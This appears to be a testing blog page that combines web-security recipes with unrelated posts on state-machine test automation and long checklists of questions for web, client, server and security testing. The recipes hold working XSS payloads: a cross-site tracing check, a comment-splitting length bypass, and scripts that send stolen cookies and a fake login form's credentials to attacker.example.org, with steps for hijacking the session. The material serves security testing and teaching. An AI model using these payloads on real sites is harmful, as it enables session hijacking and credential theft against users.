Attempting Cross-Site Tracing Interactively

Problem
One protection against XSS attacks implemented by some browsers is the HttpOnly attribute in cookies. If a cookie has this attribute set, the browser will not let any JavaScript code access the cookie. Thus, attempts to steal the cookie as discussed earlier will fail. However, if the target web server supports the TRACE operation, then an attacker can still steal the cookie. Therefore, if your application generates cookies with the HttpOnly attribute set as a protection against cookie theft, it is essential that you test for this potential vulnerability.
Solution
At the command line, type: telnet host port where host and port are the hostname and the TCP port number of the web server being tested. Then, type the code shown in example 1.
Example 1. Testing for XST using telnet
TRACE / HTTP/1.1
Host:host:port
X-Header: This is a test

Ensure that you press Enter twice after entering these lines. If the server responds with something such as shown in Example 2, then cross-site tracing is possible on the target web server.
Example 2. Sample response when server is vulnerable to XST

HTTP/1.1 200 OK
Date: Sun, 27 Jul 2008 03:49:19 GMT
Server: Apache/2.2.8 (Win32)
Transfer-Encoding: chunked
Content-Type: message/http

44
TRACE / HTTP/1.1
Host:host:port
X-Header: This is a test
0

If, on the other hand, the server responds with something like what is shown in Example 3 then it is not vulnerable to XST.
Example 3. Sample response when server is not vulnerable to XST

HTTP/1.1 405 Method Not Allowed
Date: Sun, 27 Jul 2008 03:54:48 GMT
Server: Apache/2.2.8 (Win32)
Allow:
Content-Length: 223
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head><title>405 Method Not Allowed</title> </head><body><h1>Method Not Allowed</h1><p>The requested method TRACE is not allowed for the URL /.</p></body></html>

Discussion
Cross-site tracing is a technique that can be used to bypass HttpOnly protection in cookies. The TRACE HTTP method is useful for debugging purposes, but is typically left on by default in many web servers. A TRACE request to a web server simply echoes back the request to the caller. When the caller (browser) has a cookie for the target site, it sends the cookie along with the request. The cookie is then echoed back by the web server in the response.
Suppose an attacker cannot execute the attack described earlier on a site vulnerable to XSS because the HttpOnly attribute is set on the cookie. The attacker can instead generate a script where he can replace the GET in the XmlHttpRequest.open() function call with TRACE. Then, he can parse the cookie out of the server's response. Of course, this requires the site to be vulnerable to cross-site scripting as well as to cross-site tracing. The TRACE method being left enabled is not necessarily a vulnerability in itself; the attacker needs to be able to insert JavaScript code into a vulnerable page to be able to make requests to the target server from the victim's browser and read the responses.
Note that even if your application is not vulnerable to XST and the attacker cannot steal the cookie, it only makes the simplest XSS attack impossible; it does not mitigate XSS.
NOTE
This test should be executed in your operational environment or on staging servers that replicate the production environment's configuration. This is a configuration issue that needs to be addressed during deployment, so testing servers in the development or QA environments will not provide accurate results for the production environment.

Bypassing Field Length Restrictions (XSS)

Problem
In the target application, you may find an input field that could be vulnerable to stored XSS, but the server truncates the input to a number of characters that seems insufficient to carry out a meaningful XSS attack. This restriction can be bypassed by using JavaScript comment delimiters appropriately.
Solution
The strings Example 1 combine to be a cross-site scripting attack if they are all concatenated together. Although none of them is an attack in its own right, they are all pieces of a standard, basic XSS attack string.
Example 1. Using JavaScript comments to bypass field length restrictions


<script>/*

*/alert(/*

*/"XSS")/*

*/</script>



Also, try inserting the sequence in reverse order.
This will work in several scenarios. It will work when there are multiple length-restricted fields that are concatenated together with some punctuation or HTML tags in between. It will also work when multiple instances of the same input field are displayed on the same page. The author has seen several examples in real applications where a list of status codes, for example, are displayed on a page. The status codes are provided by an end user and are not checked at all. The status codes are displayed in a table defined in HTML like that shown in Example 2.
Example 2. Sample application output where status code length is restricted by server

...

<tr><td>statusCode1

</td></tr>

<tr><td>

statusCode2

</td></tr>

...


Example 3 shows the resulting script from Example 2.
Example 3. Sample HTML output after using JavaScript comments appropriately

<tr><td><script>

/*</td></tr><tr><td>*/

alert(

/*</td></tr><tr><td>*/

"XSS")

/*</td></tr><tr><td>*/

</script></td></tr>


In most browsers, including Internet Explorer 7 and Mozilla Firefox 3.0, this is equivalent: alert("XSS").
As with other similar XSS tests, the application is vulnerable if you see an alert box pop up as a result of injecting your input.

Discussion
In scenarios where the server restricts the length of an input field but fails to perform proper input validation or output encoding, sequences such as example 1 can be used to inject JavaScript into the page. The cases where this attack would work include those where the inputs from the attacker are all displayed on a single page (in a table, for example). Anything between the /* and */ delimiters is treated as a comment, and thus, any HTML code that the site inserts between the attacker's inputs is commented out.
We will not discuss in depth the exact locations where comments are allowed in JavaScript, because the answer is implementation-dependent. Internet Explorer 7, for example, allows comments in many more locations than Mozilla Firefox 3.0. Some experimentation may be required to get the attack to work.

SMAF - State Machine based test automation framework

An introduction to Model based Testing

The main premise behind model-based testing is to create a model, a representation of the behavior of the system under test. One way to describe the system behavior is through variables called operational modes. Operational modes dictate when certain inputs are applicable, and how the system reacts when inputs are applied under different circumstances. This information is encapsulated in the model, which is represented by a finite state transition table. In this context, a state is a valid combination of values of operational modes. Invalid combinations of these values represent situations that are physically impossible for the system under test, and are therefore excluded. Each entry in the state transition table consists of an initial state, an input that is executed, and an ending state that describes the condition of the system after the input is applied:



The model is created by taking any valid combination of values of operational modes as the initial state. All inputs that are applicable from this state are then listed, along with the new state of the software after the input is applied. As an analogy, think of a light switch that can be turned on or off. When the light is on, it can’t be turned on again; similarly when the light is already off, it can’t be turned off:



By repeating this process is for all states, a state transition table is formed that describes in great detail how the system under test behaves under all circumstances that are physically possible within the confines of the areas being modeled.

Extending the Model Based philosophy to a software

The process of developing model-based software test automation consists of the following steps:

  1. Exploring the system under test, by developing a model or a map of testable parts of the application.
  2. Domain definition: enumerating the system inputs and determine verification points in the model
  3. Developing the model itself.
  4. Generating test cases by traversing the model
  5. Execution and evaluation of the test cases
  6. Note the bugs the model missed and improve the model to catch (maybe build some intelligence)

Making HTTP Requests Using XSS

Problem
One of the most powerful tools available to an attacker building an XSS exploit is being able to generate requests to the target website from the victim's browser and being able to read the responses. This recipe will discuss how you can use JavaScript to make requests to the target website from the victim's browser
Solution
Create a JavaScript file containing the script in Example 1 and make it accessible at http://attacker.example.org/make_http_request.js (wherever your attack server is), and then insert it into the vulnerable page using the technique described in Example 2.
Example 1. JavaScript for making HTTP request
var xmlhttpreq; if(window.XMLHttpRequest){
/* Most browsers use a XMLHttpRequest object for making AJAX Requests */ xmlhttpreq=new XMLHttpRequest();
}
else if(window.ActiveXObject){
/* Internet Explorer uses ActiveXObject for making AJAX Requests */
xmlhttpreq=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttpreq.open("GET","http://www.example.com/do_something",false);
if (window.XMLHttpRequest) { xmlhttpreq.send(null);
} else {
xmlhttpreq.send();
}
/* The server's response is stored in the variable 'response' */
var response = xmlhttpreq.responseText;
Discussion
Example 1 will submit a request to the target website from the victim's browser, and the response will be stored in the variable response where it can be parsed using JavaScript and the information contained in it can either be sent to the attacker as in the previous two recipes or used in subsequent requests made to the target website. For example, if an attacker finds an XSS vulnerability in an online banking website, the attacker could write JavaScript code to submit a request to the site, parse the account numbers from the response, and use them to initiate a transfer to the attacker's bank account.
This attack works because the victim's browser submits the user's session cookie to the vulnerable website along with each request to the website. The vulnerable website authenticates each request by verifying the user's session cookie and cannot differentiate between requests initiated by the legitimate user and requests generated using the attacker's JavaScript code.This attack only works when the target website is vulnerable to XSS. Although it is possible to submit requests to any website via CSRF attacks, the server's responses and leveraging the information in the responses is only possible when the target is vulnerable to XSS. This is because web browsers enforce a "same origin policy" that only allows AJAX requests to be made to the website that the user is visiting. Using this technique, the attacker's script can mimic any actions that the legitimate user can perform

Making HTTP Requests Using XSS

Problem

One of the most powerful tools available to an attacker building an XSS exploit is being able to generate requests to the target website from the victim's browser and being able to read the responses. This recipe will discuss how you can use JavaScript to make requests to the target website from the victim's browser

Solution

Create a JavaScript file containing the script in Example 1 and make it accessible at http://attacker.example.org/make_http_request.js (wherever your attack server is), and then insert it into the vulnerable page using the technique described in Example 2.

Example 1. JavaScript for making HTTP request
var xmlhttpreq;

if(window.XMLHttpRequest){
/* Most browsers use a XMLHttpRequest object for making
AJAX Requests */
xmlhttpreq=new XMLHttpRequest();
}
else if(window.ActiveXObject){
/* Internet Explorer uses ActiveXObject for making
AJAX Requests */
xmlhttpreq=new ActiveXObject("Microsoft.XMLHTTP");
}

xmlhttpreq.open("GET","http://www.example.com/do_something",false);

if (window.XMLHttpRequest) {
xmlhttpreq.send(null);
} else {
xmlhttpreq.send();
}

/* The server's response is stored in the variable 'response' */
var response = xmlhttpreq.responseText;


Discussion


Example 1 will submit a request to the target website from the victim's browser, and the response will be stored in the variable response where it can be parsed using JavaScript and the information contained in it can either be sent to the attacker as in the previous two recipes or used in subsequent requests made to the target website. For example, if an attacker finds an XSS vulnerability in an online banking website, the attacker could write JavaScript code to submit a request to the site, parse the account numbers from the response, and use them to initiate a transfer to the attacker's bank account.This attack works because the victim's browser submits the user's session cookie to the vulnerable website along with each request to the website. The vulnerable website authenticates each request by verifying the user's session cookie and cannot differentiate between requests initiated by the legitimate user and requests generated using the attacker's JavaScript code.This attack only works when the target website is vulnerable to XSS. Although it is possible to submit requests to any website via CSRF attacks, the server's responses and leveraging the information in the responses is only possible when the target is vulnerable to XSS. This is because web browsers enforce a "same origin policy" that only allows AJAX requests to be made to the website that the user is visiting. Using this technique, the attacker's script can mimic any actions that the legitimate user can perform.

Creating Overlays Using XSS

Problem :

How to create an attack that uses XSS in creating overlays on the target website such that the victim users believe that they are on the intended website, but the view is in reality being controlled by the attacker. This attack exploits the victim's trust when viewing the intended website in the address bar in their browser

Solution:

To create complex attacks, it is much easier to create your scripts at a separate site (attacker.example.org) and then include them in the target site by injecting something such as the attack string shown below.

Inserting JavaScript file from another server

<script src="http://attacker.example.org/login_overlay.js"></script>

This is much easier (and less likely to make victims suspicious) than attempting to fit a one-page JavaScript exploit into one HTTP parameter. Create the script shown and make it accessible at http://attacker.example.org/login_overlay.js (or whatever your attack site's URL is).

JavaScript for creating overlay

var LoginBox;
function showLoginBox() {
  var oBody = document.getElementsByTagName("body").item(0);
       
  LoginBox = document.createElement("div");
  LoginBox.setAttribute('id', 'login_box');
  LoginBox.style.width = 400;
  LoginBox.style.height = 200;
  LoginBox.style.border='red solid 10px';
  LoginBox.style.top = 0;
  LoginBox.style.left = 0;
  LoginBox.style.position = "absolute";
  LoginBox.style.zindex = "100";
  LoginBox.style.backgroundColor = "#FFFFFF";
  LoginBox.style.display = "block";
  LoginBox.innerHTML =
    '<div><p>Please Log in</p>' +
    '<form action="#">' +
    'Username:<input name="username" type="text"/><br/>' +
    'Password:<input name="password" type="password"/><br/>' +
    '<input type="button" onclick="submit_form(this)" value="Login"/>' +
    '</form>' +
    '</div>';
  oBody.appendChild(LoginBox);
}     
       
function submit_form(f) {
LoginBox.innerHTML=
  '<img src="http://attacker.example.org/credentials_log?username=' +
    encodeURI(f.form.elements['username'].value) + '&password=' +
    encodeURI(f.form.elements['password'].value) + '" width="0" height="0"/>';
  LoginBox.style.display = "none";
}
       
showLoginBox();

Discussion

The file login_overlay.js can be as complex as needed. The second example is one of the building blocks for creating a convincing exploit. To actually carry out the exploit, a lot of additional JavaScript code would be required to perform other operations such as resizing and positioning the overlay depending on the browser's window size.

The JavaScript code in Example 2  will display a login box when the user first clicks on a link provided by the attacker. The login box created by this particular script may not be very convincing, but adjusting the fonts, colors, and other details to make it match the style of the target web application would make it convincing. The attacker's goal is to convince the user that she is looking at a real login page. The fact that the user sees the expected site in her address bar works in the attacker's favor. If the user enters her credentials into the login box, they are sent to attacker.example.org.

Protecting JavaScript with SSL

If the site is SSL-protected, then the JavaScript file should be hosted on a server that has a valid SSL certificate signed by a certificate authority trusted by the victim's browser. Otherwise, the victim's browser will warn him about the page containing some content served over HTTPS and some over plain HTTP. If the file is hosted on a server with a valid SSL certificate, then the victim's browser will show the typical padlock icon, further convincing the average user that he is safe and on the intended site.

Stealing Cookies Using XSS

Problem :

How to steal cookies using XSS

Solution:

Stealing a user's cookie is the easiest real XSS attack. Inject something like the attack string shown below into a vulnerable parameter.

<script>document.write('<img height=0 width=0

src="http://attacker.example.org/cookie_log?cookie=' +

encodeURI(document.cookie) + '"/>')</script>

This will create a link like the one below. The script will be executed when you click on the link

http://www.example.com/example?vulnerable_param=%3Cscript%3E

document.write('%3Cimg%20height=0%20width=0%20

src=%22http://attacker.example.org/cookie_log%3Fcookie%3D'%20+%20

encodeURI(document.cookie)%20+%20'%22/%3E')%3C/script%3E

 

This is Sample malicious URL for stealing cookie.

Discussion:

Before attempting this attack, you will need to set up a web server somewhere (such as attacker.example.org as suggested in Example 1 ). Ensure that a file called cookie_log exists in the appropriate location on your web server. It does not actually need to log anything because the HTTP server will do the logging for you.

In the solution, you may need to experiment with various syntactic issues to get the attack to work. You may need to use characters such as ', ", and > to break out of existing HTML tags so that you can inject your script. View the HTML source of the web page to determine whether your input is resulting in syntactically correct HTML. Now, whenever that script executes, it will send the user's session cookie to attacker.example.org, which is controlled by the attacker. To view the cookies, simply view the httpd log files on your web server (attacker.example.org) or create a script called cookie_log that logs the parameters sent to it. Then, to gain access to that user's session, URI-decode the cookie and use a tool such as the Firefox Edit Cookies extension to add it to a browser. Then, you will be able to access the web application as the authenticated user from that browser

SMAF - State Machine based test automation framework

Direct benefit of such a model
•Programmatic
•Efficient coverage
•Tests what you expect and what you don’t
•Very nimble and rapid development as it can discard inputs which point to fault areas to reduce failures
•Resistant to pesticide paradox in testing.
•Finds crashing and non crashing bugs
•Significant investment in tested app

Indirect benefits
•Improve specs
•More nimble test automation
•Better relation with Dev’s and produces the effect of working together than against
•Attract and retain high quality SDETs

SMAF - State Machine based test automation framework

I am proposing a few thoughts of mine, which i intend to convert into a white paper and eventually build this whole harness at some point. Till then ,i will keep revisiting my initial thoughts to give it something more everytime

Abstract:
Model-based testing allows large numbers of test cases to be generated from a description of the behavior of the system under test. Given the same description and test runner, many variations of scenarios can be exercised and large areas of the application under test can be covered, thus leading to a more effective and more efficient testing process

Current State:
Approach1: Is a typical hands-on tester, manually running all tests from the keyboard. Hands-on testing is common throughout the industry today—it provides immediate benefits, but in the long run it is tedious for the tester and expensive for the company.

Approach2 practices what we call “static test automation.” Static automation scripts exercise the same sequence of commands in the same order every time. These scripts are costly to maintain when the application changes. The tests are repeatable; but since they always perform the same commands, they rarely find new bugs.

Approach3 operates closer to the cutting edge of automated testing. These types of “random” test programs are called dumb monkeys because they essentially bang on the keyboard aimlessly. They come up with unusual test action sequences and find many crashing bugs, but it’s hard to direct them to the specific parts of the application you want tested. Since they don’t know what they are doing, they miss obvious failures in the application.

Approach4 combines the other testers’ approaches with a type of intelligent test automation called “model-based testing.” Model-based testing doesn’t record test sequences word for word like static test automation does, nor does it bang away at the keyboard blindly. Model-based tests use a description of the application’s behavior to determine what actions are possible and what outcome is expected.
This automation generates new test sequences endlessly, adapts well to changes in the application, can be run on many machines at once, and can run day and night

Security tests

[Me]: - Among the tests you perform on web applications, security testing is perhaps the most important, yet it's often the most neglected. If there is a recipe which demonstrate how developers and testers can check for the most common web security issues, while conducting unit tests, regression tests, or exploratory tests it would work wonders.

[Guruji]:- Hmn… Go on

[Me]:- But unlike ad hoc security assessments, these recipes  should be repeatable, concise, and systematic-perfect for integrating into our regular test suite. Recipes should cover the basics from observing messages between clients and servers to multi-phase tests that script the login and execution of web application features. This will help us build tests pinpointed at Ajax functions, as well as large multi-step tests for the usual suspects: cross-site scripting and injection attacks.  Can you help us?

[Guruji]:- If I decipher you right, you want to

·         Understand how your application communicates with users, so you can better simulate attacks in your tests

·         Choose from many different methods that simulate common attacks such as SQL injection, cross-site scripting, and manipulating hidden form fields

·         Make your tests repeatable and using it as starting points for automated tests

Why Plan?

[Me]:- Guruji, why plan in testing. Can’t we just take what is relevant at that phase and work on it?

[Guruji]:- One hard truth of testing is that not everything can be done at once. Each phase of the effort needs to be clearly defined and purposeful. There needs to be a clear trigger that opens the gate for each phase to start, and once the goal of that phase is reached, it can be evaluated to decide if the effort is complete or if more work on that phase would be of value. There is a time to start each piece of the plan and a time to hold off until a more appropriate point in the project. Taking the testing one step at a time not only allows the software to be mature enough to work with, but also allows each team member involved to become proficient in each step before beginning the next and ensures that work is performed at the right time instead of too early or too late.

General issues

[Me]:- Guruji, what questions can I ask myself or raise as clarifications to sort generic issues?

[Guruji]:- You can try answering yourself these questions help you

1)       How will the application be used?

2)       What is the purpose of the application? Information, entertainment, business, and so on.

3)       Who is the target audience? Who is the current audience? Who is the potential audience?

4)       What is the user scenario for using it? There may be several representing various classes of users.

5)       Will this be used from an Internet kiosk or other machine that the user has no control over? Should the application be verified in kiosk mode?

6)       Are alternative devices going to use this? (Web TV, PDAs, iMode phones, and so on.)

7)       What is the estimated user base for the first 6 months? First year?

8)       Are users paying to access your site or use your application? If so, their expectations may be very different than if it were free.

9)       Are there partners you are dependent on? Are partners dependent on you? Is there a plan if either your service is down or a partner you rely on is down?

10)   Is there a new user or first-time user experience that differs from subsequent visits?

11)   What dependencies does your site/application have? It may require that WinAmp, AOL Instant Messenger, or some other piece of software be installed, or it may make use of system- or browser-provided DLLs. If it does not rely on any system DLLs, then there may be no need to test on various versions of each platform family.

12)   Does your application install any components or controls? What if the user cannot/does not install it? What if you release a new version-is there an upgrade path for the users?

13)   If your application installs components or controls, where are they installed? Is there an assumed or hard-coded location? Will that break on a nonstandard configuration (for example, a Windows machine where the active drive is the F:\ drive instead of the more common C:\ drive)?

14)   If there is a component or control installed, is there an uninstall path for it?

15)   Does the component or control that is installed set any registry keys? When it uninstalls, all of these need to be cleaned up appropriately.

16)   What platforms is this supported on? What are the various Windows, Macintosh, and Unix versions, as well as various devices?

17)   Which browsers are supported? Microsoft Internet Explorer, Microsoft MSN Explorer, Netscape Navigator, Microsoft Pocket IE and Generic IE, Opera, Omni Group Omni Web, Amaya?

18)   Are there varying levels of support?

19)   What does the test matrix look like?

20)   What does the support matrix look like?

21)   What happens if you access the application from an unsupported platform? Consider a notification mechanism.

22)   What other requirements does the application have-security settings, script settings, cookie settings, resolution, line speed, and so on?

23)   Is there an internal coding standard?

24)   Is this feature necessary?

25)   Is the role of the feature in the application clearly understood?

26)   How will a user access this piece of functionality? List all ways to get into this feature.

27)   How will the user put data into this piece of functionality?

28)   What are those areas of user-defined input? What are the sizes of those areas (in bytes or characters)? What type of input do they accept?

29)   Where is the data output displayed?

30)   What boundaries exist for this data?

31)   What error states can come of this data or action?

32)   What states is the data available in? Map the creation, edit, save, display, and delete states.

33)   How is the user expected to navigate? Are Back and Forward controls provided in the application interface or is the user expected to use the browser buttons? Make this clear, but know what the behavior is when using the browser buttons.

34)   If the application makes use of frames, what should the behavior be when the user clicks the browser Back or Forward buttons? What about Refresh or Stop?

35)   Do errors occur when the page loads?

36)   Do all graphics appear properly?

37)   Are all similar icons of the same size (visually), giving a clean appearance?

38)   Is the download time perceptibly slow?

39)   Do all graphics have width and height tags to correctly place them into a formatted page while they are downloading?

40)   Are all links active and working? Are they accurate and/or descriptive?

41)   Are links relative or absolute?

42)   Should all links or active (hot) areas have the finger pointer (hand) displayed when the cursor is over them?

43)   Do the mailto links also display the mailing address?

44)   Can the user print various pages?

 

Client Side Issues

[Me]:- Guruji, what questions can I ask myself or raise as clarifications to sort client side issues?

[Guruji]:- You can ask yourself these questions to elucidate client side issues

1)       Can users behind proxies and firewalls use the application effectively? Certain requests can be refused by some older firewalls.

2)       Is client-side caching relied upon?

3)       Are there any temp files created? This question could also apply to the server side.

4)       Do any files created rely on a particular name? What if another file of that name was already created? What if a folder of that name has been created there? I have seen programs handle assumed file and path names well and increment a number on the end. Try creating a file and adding those numbers, or the DBCS number, on the end.

5)       What are the permissions on these files?

6)       Does your feature allow scripts to run?

7)       Can anything be embedded in input areas? (Images dropped in, files, controls with code behind them, and so on)

8)       Is data stored securely locally?

 

Server Side Issues

[Me]:- Guruji, what questions can I ask myself or raise as clarifications to sort server side issues?

[Guruji]:- You can ask yourself these questions to elucidate server side issues

1)       What is the required stability and uptime for this application?

2)       What type of servers are being planned for deployment? Microsoft Internet Server (IIS)? Netscape Web server? Apache Web server?

3)       What server-side technologies are being planned? ISAPI? CGI? ASP? Scripts? Make sure these are compatible with the server platform planned.

4)       What is the server architecture?

5)       What is the server technology?

6)       Are there other servers involved? (Hardware load balancers, routers, hardware SSL, and so on.)

7)       What software dependencies does your application have? (OS, components, third-party components, and so on.)

8)       Is there a test lab for you to test the application in? Does it accurately mirror the intended deployment topology?

9)       What ports are left open? Are these necessary?

10)   Is a content expiration set on items? Should some items be cached and others not?

11)   Is the content expiration set in the response header or in the META data for the page?

12)   How many users total are expected? How many simultaneously?

13)   How does the application scale? Up or out? What is the scaling unit, and how many users are supported there?

14)   What is the anticipated traffic?

15)   How are backups, restores, failovers, and disasters handled?

16)   Is there any user management? How are they managed?

17)   How are the live boxes administered?

18)   Where is the bottleneck? Is it acceptable? (Disk I/O, network, memory paging, database, and so on.)

19)   What memory leaks exist? Have you looked for them?

20)   Is server-side caching implemented?

21)   Is the architecture redundant and distributed?

22)   Are server logs analyzed while testing?

23)   Is there a plan to dogfood this application or have a progressive roll-out to users?

24)   What happens if the server hard drive space on servers fills up?

25)   Could a malicious user constantly fire errors into the log to attempt to fill up the hard drive space?

26)   How are requests received from the client? ASP, ISAPI filters, CGI?

27)   What user context does the receiving code run under? (Administrator, sa, local system, local user, or so forth.)

28)   Is the communication between the client and the server (or the server and the other servers) in plaintext or encrypted?

29)   How does the server know the user is who he says he is?

30)   How does the user know the server is who it says it is?

31)   Is data stored securely on the server?

 

Other Technologies

[Me]:- Guruji, if I have to do testing on other technologies like Active X or XML, what questions can I formulate?

[Guruji]:- You can ask yourself these questions

1)       Are ActiveX controls used? If they are planned in the product, is this product intended to be used anywhere except for Microsoft Internet Explorer on Windows?

2)       Do the ActiveX controls allow code to be executed? Do they read or write files? Could they be made to?

3)       Do the ActiveX controls create or delete any persisted data?

4)       Do the ActiveX controls touch any system files or registry settings? (for example, reading or modifying)?

5)       Are any other objects created?

6)       Does the object ShellExecute?

7)       Does the control expose any personal information? (Think about file names, user login name, paths, and so on.)

8)       Are all of your ActiveX controls signed?

9)       Are all of your ActiveX controls virus checked?

10)   Are Java applets implemented?

11)   Is CGI used? If not, can it be disabled on the server?

12)   Are XML requests being sent?

13)   Can a malformed XML query come from the client?

14)   What happens if an XML request is sent to the server without the closing tag </…>? Does the server hang waiting for the end of the request?

Security Testing

[Me]:- Guruji, if I have to do Security testing, what questions I will need ask and get answers for effective testing

[Guruji]:- You can ask yourself these questions

1)       What security problems were present in the previous version? Examine these and understand how they could have been prevented. Make sure that these and any new ones are all documented through the development process.

2)       Could a malicious user get the server to respond or send an error that gives away information about the server (name, IP address, and so on)?

3)       When connected to the application/site with IE, can a user go to File → Edit with Microsoft FrontPage or File → Edit with Microsoft Word or File → Edit with Notepad to alter and save the files back to your servers?

4)       Are cookies used to store user state or other user information? What features read or set a cookie?

5)       For each cookie, is it persisted or session only? Is it marked as HTTP only (IE6 feature)?

6)       What if the user does not accept the cookie? What if the user has cookies set to Prompt and then accepts the cookie?

7)       What information is stored in the cookie? What happens if the user edits any of this information?

8)       Is any user information passed in a URL (parameter, path, and so on)?

9)       Are any forms being submitted to the server using the GET method?

10)   What information do we have of the users? Is any of it sensitive (credit card, SSN, address, and so on)? How could it be used to their detriment? Make sure that this information is not passed in cookies or in the parameters in the URL.

11)   Do we send any of the sensitive information in the body of the request? If so, could a malicious user grab it with a packet sniffer?

12)   How could any of these pieces of information be put together to be used maliciously?

13)   What information is the user expecting to be kept secure? (A user ID may not be something that the user has an opinion about, but in answer to the previous question, having the user's ID plus a time stamp may allow a malicious user to guess at a user's email locations, as the Hotmail bug did.)

14)   Can a malicious user deny a valid user access to his own data?

15)   Could a malicious user alter or corrupt data?

16)   What software do you depend upon? (Windows NT, IIS, Sun Solaris, Apache, SQL, and so on.) What vulnerabilities do these pieces of software have? Make sure you are up-to-date on all patches and security releases. Monitor BugTraq at http://www.securityfocus.com to keep up with recent exploitations.

17)   What security problems does your competitors' or other similar software have? How can you avoid them? Again, some of this might be available at http://www.securityfocus.com, but also on other sites.

18)   How are your servers configured? What permissions are set on those directories and files?

19)   Are users required to log in to the application? What if they are behind a firewall or proxy server?

20)   Does your application perform any encryption? Does it use SSL?

21)   Does your application generate passwords for the user? Are they easily guessed?

22)   Does your application allow users to select their own password? Are there guidelines that they must follow?

23)   Are there any points where data could be shared or accessed by users other than the creator?

24)   Is this written in managed code? Are there any unsafe functions? Are there legacy pieces or other components that are unmanaged? Where are the transitions from managed to native code?

25)   Could a malicious user set up scripts to guess at a password 10,000 times until it is guessed correctly? What safeguards could be put in place to safeguard against that?

26)   Could a malicious user flood your application with requests? Do you want your application to try to respond to them all, or are safeguards in place for that?

27)   Could a malicious user send a malformed request? What does your application do with it?

28)   Could a malicious user send a NULL request? What would your application do with it?

29)   Could a malicious user send a very large request? What would your application do with it?

30)   Could a malicious user send a small request and tell the server it was a large request? Does the server hang?

31)   Could a malicious user open many connections to your server? What would your application do about that?

32)   What ports are open? How could these be exploited?

33)   What is the response to a denial of service attack?

34)   What buffer overruns could exist in the software? You do not have to go through the work of identifying how they can be exploited as long as you fix them when you find them.

35)   Is there a data conversion in this feature or between two features?

36)   Is data parsed in this feature or between two features?

37)   Does your application try to write to the server? Could a malicious user exploit this by convincing the server to write more data than it has space for?

38)   What kind of logging does your application do on the server side? Does it make note of attacks on the servers, and are they descriptive enough to help identify attacks? Are these logs too granular or too general?

39)   Is there a user-side cache? Does the application rely on it?

40)   Always assume that the worst happens. How will the server recover? Have a plan in place for each scenario.

41)   What gets cached on the client side?

42)   Do cookies contain sensitive data or data that can be combined to be sensitive?

43)   Should the code stipulate Cache-control: no-cache headers?

44)   How can you programmatically access the data in the SQL database?

45)   Is there a way to do this from the outside?

46)   Can the administrators or product support personnel read the information in the database?

 

www.CodeNirvana.in

Powered by Blogger.

Translate

Total Pageviews

Copyright © T R I A G E D T E S T E R